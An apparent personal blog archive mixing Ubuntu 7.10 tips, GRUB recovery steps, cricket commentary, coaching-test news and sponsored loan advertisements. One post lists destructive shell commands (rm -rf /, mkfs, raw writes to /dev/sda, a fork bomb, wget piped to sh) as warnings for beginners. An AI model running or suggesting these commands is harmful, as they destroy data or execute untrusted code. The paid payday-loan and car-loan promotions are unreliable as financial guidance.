Bloggerwave Cares

Recently Google has started penalizing Bloggers and Advertisers for using services like PayPerPost by resetting their Page Ranks to 0.Google says that such services disturb their Page Rank system and the page-rank of the advertiser's website is increased artificially.Different websites are reacting differently to this act by Google.

PayPerPost Izea has come up with a new traffic based ranking system called RealRank.PPP also has provided a one-click option to Advertisers if they wish to allow a "nofollow" tag.But the only service which will benefit from this incident is Google AdSense.

Another such website,Bloggerwave cares for it's members.I've made many posts on Bloggerwave and you can read those later by having a look at my archives.Bloggerwave has added rel="nofollow" to all its links.I would advice you to update all your posts and add rel="nofollow" to all links.

I would also advice you to delete old PPP posts or add a nofollow tag to them.

I'm Mobile

This post is special as it is the first post I've published using my mobile phone-Motorola SLVR L9

A Tribute To Misbah

Pakistan newcomer,Misbah-ul-Haq has a habbit of getting out in the most funniest possible manner.Here's a post dedicated to his dismissals.

In the ICC World Twenty20 Finals,he managed to get himself out by playing a silly shot when Pakistan were in a very comfortble position and could have won easily.Here's what he managed to do-




When asked about the shot he played in the ICC World T20 final,he said in an interview that he would play the shot agian.In the 2nd ODI against India he dared to play the same shot and this time things were a bit different.He didn't manage to hit the ball and was bowled.Have a look-



Recently,in the first test between India and Pakistan at Delhi,he got run out in a really funny manner.He jumped to let the ball hit the stumps while he was in the air.You definitely need to look at this video-

Some Dangerous Commands

This post is to warn all noobs.If you don't know what a noob is,perhaps you might be one.Noob is short for newbie.If you want a complete post dedicated to explaining noobs, visit Vivek's Blog(The Tech Nut).

In one of my recent posts,I had linked back to some good Linux forums like LQ and Ubuntu Forums and had asked you to visit these forums for some additional help.But all people are not as helpful as I am.There are a few spammers misguiding people who ask questions on the forums.Although such spammers are banned from the forums,you might come across one someday.

Ubuntu is one of the most user friendly Linux Distros.You will rarely need to use terminal.However Linux Pros like using the terminal and even noobs find it fascinating to use a command line.So here are a few commands with their description which is explanatory of the fact that they are dangerous.

The following are statements which recursively delete files-

rm -rf /
rm -rf .
rm -rf *

These three statements are to delete all files,delete current directory and delete visible files in current directory respectively.

mkfs is a command used to format a partition.Thus these commands should never be executed -

mkfs
mkfs.ext3
mkfs.anything

I would recommend you to use a GUI to format partitions if you ever need to do so.

Another hazardous thing you can do with the terminal is 'Block device manipulation'.It causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data.This is what the command will look like-

any_command > /dev/sda
dd if=something of=/dev/sda

Some spammers make you trigger a Forkbomb.In other words it executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.In Bourne-ish shells, like Bash,it looks like-

:(){:|:};:

and in Perl-

fork while fork

I would like to remind you that all these commands should NOT be executed.
You should take preventive measures to combat Tarbombs and Decompression bombs.Always extract archives in a new folder and don't download archives from untrusted sources.

Don't execute all shellscripts given to you.It may contain a malicious command.This is what the code will look like-

wget http://some_place/some_file
sh ./some_file

Which is same as writing-

wget http://some_place/some_file -O- | sh

The list of hazards is endless.Someone might ask you to compile some code.This can be a good way to hide the commands he wants you to execute.Thus the best way to be safe is to understand the commands you execute.If you feel that your problem is not related to the command you are being told to execute,be cautious and ask for help from other sources.

VMC Test Series-7

The title of this post pretty well explains the reason for the long gap in posts. Vidyamandir Classes conducted Test Series 7 for the IITJEE 2008 batch on 18th November.The test was held at the usual centers-Father Agnel School and SD Public School at the usual time of 9:30 am.It might seem that everything was usual but let me tell you that it was not.There were 2 tests as usual of three hours each.Each test weighed 246 marks(82 marks each for Physics,Chemistry and Mathematics).

Now let me tell you the difference form the past 6 Test Series.TS-7 had fewer questions than usual which were shorter than usual.There were 23 questions of Physics,Chemistry and Maths each in each paper.This made the test shorter than any other TS.This might also mean that students have more opportunities to make mistakes.

The test is available online till the end of 21st November so you can expect your papers to be submitted by 22nd or 23rd and the result will probably be out by 24th or 25th November.

Online Car Loans

A car is like a status symbol for some people,a necessity for some other people and a dream for the rest of the people.Basic Car Loans offers online car loans nationwide.The main focus of the organization is to help people with poor credit.Thus they even offer Used Car Loans online at very good rates.The complete process is quick and easy.You have to apply online by filling a short form and you'll have a car before you know.I'm sure that if you use this service you will be satisfied with the amount of money you'll have to pay and will feel that you've got a great deal.

For more information or to apply for a car loan,visit their website which has been linked to above.

This Post is Sponsored By- Basic Car Loans

Ubuntu 7.10 Review

I recently upgraded my OS to Ubuntu 7.10.I've been using it for a couple of weeks now and am in a position to write a review.Ubuntu 7.10 has many more new features which are great.You might face some problems with it if your PC is a bit old so you can refer to some of my older posts labeled Linux.

First of all,the desktop environment-Gnome-2.20 is much better than the previous version in terms of performance.Ubuntu Gutsy also integrates the NTFS-3g project and thus enables NTFS writing which is a great feature.But you need to be cautious while dealing with NTFS partitions if you are using Windows in dual booting with Ubuntu.You need to properly shut-down windows in order to detect your NTFS partitions.Ubuntu 7.10 does not detect NTFS partitions if Windows is Hibernated or is not Shut-Down properly.

Another change is that Compiz Fusion is includeed by default which is the fusion of Compiz and Beryl.The desk bar search applet also comes in handy at times.You might have problems with the usplash screen at startup for which you can refer to this post.

An alternative to usplash is splashy.You can check it out and install it as it is in the Debian repositories.You can try these commands after changing your boot-up resolution to 1024X768 using this procedure-

sudo apt-get update
sudo apt-get install splashy splashy-themes

Ubuntu Gutsy uses Mozilla Firefox 2.0.0.6 as the default web browser and Open Office.org 2.3 for all office needs.I'm glad that Pidgin and not Gaim(the older version of Pidgin) is the default IM client.

If you are wondering where I got the Ubuntu title font,used in the first line from,the answer is simple.Ubuntu users have a simple way to get the font.Just type this in a terminal-

sudo apt-get install ttf-ubuntu-title

Overall,Ubuntu 7.10 is a great operating system to have.This release is very user friendly and there's hardly any thing which can't be done without using the terminal.I'm sure that Windows users with the bare minimum knowledge about computers won't find it difficult to use and will love it.The whole system is really fast and the start-up and shut-down time is significantly less.

I recommend you to order a free CD and at least try the live CD.I'm sure you'll like it and install it.

UK Payday Loans

I've mentioned about the importance of Payday Loans in earlier posts and here's another post on Payday loans.Roberts Bridge Financial offers a payday loan matching service for UK residents.I'll provide the basic information in my post.

Payday Loans are very useful in emergencies and at times when you need money urgently.Here's how their system works.The loans can range from £80 to £750. The lender will determine the loan amount based on the information you provide during the application process.This obviously increases the chances of getting the perfect loan.


This Post is Sponsored By Roberts Bridge Financial

Ubuntu 7.10 Bootup Resolution Problem

Ubuntu has some problems associated with it but there isn't any problem which can't be solved.The configuration files are really easy to edit and can be edited by just using a simple text editor.This is something I like about Linux.

I recently installed Ubuntu 7.10(Gutsy Gibbon) on my PC and faced a problem which is quite widespread and probably will be faced by many of you.While booting up and during shut-down the screen resolution was too high for my Compaq MV540 monitor which does not support 1280 X 1024 resolution.The monitor displayed an 'Out of frequency range' error.Don't worry if you have the same problem with your Monitor.

There is a simple 3 step process to solve this problem-

1. Type 'sudo gedit /etc/usplash.conf' or 'sudo nano /etc/usplash.conf' to edit the file-'usplash.conf'.It will look like this-

   # Usplash configuration file
   xres=1280
   yres=1024

   You have to change 1280 to 1024 in the x resolution and 1024 to 768 in the y resolution
   
   
2. Step 1 should solve the shut-down problem.To solve the start-up problem,you need to follow step2 and step3.Now edit /boot/grub/menu.lst by typing 'sudo gedit /boot/grub/menu.lst' or 'sudo nano /boot/grub/menu.lst' .In this file reach the line

   ## ## End Default Options ##

   By default the next paragraph will have the boot information for the option you choose while booting up.It will say something like-

   title Ubuntu 7.10, kernel 2.6.22-14-generic
   root (hd0,9)
   kernel /boot/vmlinuz-2.6.22-14-generic root=UUID=ebddbc03-0e71-41dd-babd-278109f26a95 ro quiet splash
   initrd /boot/initrd.img-2.6.22-14-generic
   quiet

   At the end of the line next to kernel,next to splash add 'vga=791'.791 is the code for 1024X768 resolution in 16 Bits.What this does is that it changes the screen resolution of all following steps but not of the xserver.You can select any other resolution which your monitor is comfortable with.
   Here are some typical values for some screen resolutions-






Colours   640x400 640x480 800x600 1024x768 1152x864 1280x1024 1600x1200
--------+--------------------------------------------------------------
4 bits  |    ?       ?      770       ?        ?        ?         ?
8 bits  |   768     769     771      773      353      775       796
15 bits |    ?      784     787      790      354      793       797
16 bits |    ?      758     788      791      355      794       798
24 bits |    ?      786     789      792       ?       795       799
32 bits |    ?       ?       ?        ?       356       ?



3. The third step is a copy and paste step.In this step,you need to execute a command to update the settings and generate a new usplash image of the resolution you selected.Execute this command in a terminal window-
   

   sudo update-initramfs -u -k `uname -r`

   You can also try this(it's the same thing written differently but it is applicable only for the default Ubuntu usplash theme)-

   sudo update-usplash-theme usplash-theme-ubuntu

   Reboot your computer now and I'm sure you'll be able to see the orange Startup splash screen without any trouble now.
   

I hope this post helped you to solve your problems.If your problem still persists,visit a good Linux forum like LQ or Ubuntu Forums.You can also try downloading StartUp-Manager from the synaptic or from here if you don't like editing files manually.

PS-If you update your kernel,you might face the problem again.Visit the part 2 of this problem to prevent this from happening again.

When Computers Don't Boot

How often has it happened with you that all of a sudden your computer fails to boot?I've had this problem countless times and have solved it each time successfully.Today I'll give you some advice for such situations both for Windows and Linux.

If you are using Windows XP and no other OS and your computer refuses to boot,it is perhaps because of some problem with your main partition called the C drive.Follow these steps to solve the problem(note that you need to have a Windows XP CD)-

• Boot from the CD.If you can't boot from it,check your BIOS settings.
• When prompted,press 'R' to get to the recovery console.
• In the recovery console,type 'chkdsk' and hit the return key to check your windows partition
• CHKDSK will remove errors from the partition and now your computer should boot normally
• If your problem is still not solved,try 'fixboot' or in extreme cases 'fixmbr'.Note that this step is recommended only if Windows is the only OS in use.

Suppose you are using Linux(I'll take Ubuntu as example but you can do it with almost all distros having live CDs) in dual booting with Windows and you want to correct your windows installation using the above procedure you will face some problems.When you insert the Windows CD into your drive and boot from it,your MBR(Master Boot Record) will be re-written as windows can't tolerate the existence of another OS with it.

Most Linux distros like Ubuntu use GRUB boot loader which is an intelligent boot-loader and can manage different Operating Systems simultaneously.The windows CD removes GRUB from the MBR.Now you need to reinstall GRUB in order to detect the installed Linux OS.You can do this by following these steps-

• Boot form the Ubuntu live CD(other live CDs can also be used).
• Go to System->Administration->Users and Groups.
• Change the root password to anything of your choice.
• Open the terminal or the console or in KDE language, Konsole
• Type 'su',hit the return key and enter the password you just set.
• Now type 'grub' and hit the return key.You will get a grub> prompt.
• Type 'find /boot/grub/stage1' to find the partition which has grub installed.You will get back the address like (hd0,0) or as (hd0,1) it depends on the partition.If you get multiple results,don't worry you need just one as GRUB is really intelligent.If you have GRUB installed on 'hda3' or on 'sda3' on the first hard disk,the address returned will be (hd0,2)
• Now type 'root (hd0,2)' or whatever applicable and hit the return key as usual.
  
• Now you have reached the final step in which you have to install GRUB to your MBR.Type 'setup (hd0)' or whatever applicable in your case to install GRUB to the MBR of your hard drive.Note that 'hd0' represents your 1st hard drive and 'hd1' your second one and so on.In this step GRUB will be setup and it will also detect other operating systems.
  

You computer should boot without any problems now.Note that if you are using dual booting and have lost grub due to other reasons,I would suggest you to follow the same procedure.You should be thorough with the procedure for installing GRUB as you will need to do that every time the silly Windows fails to boot.

After reading this post I'm sure you would agree that Linux is far more superior to Windows as far as the boot-loader is concerned.If you have any other questions regarding reinstalling GRUB,you may leave a comment.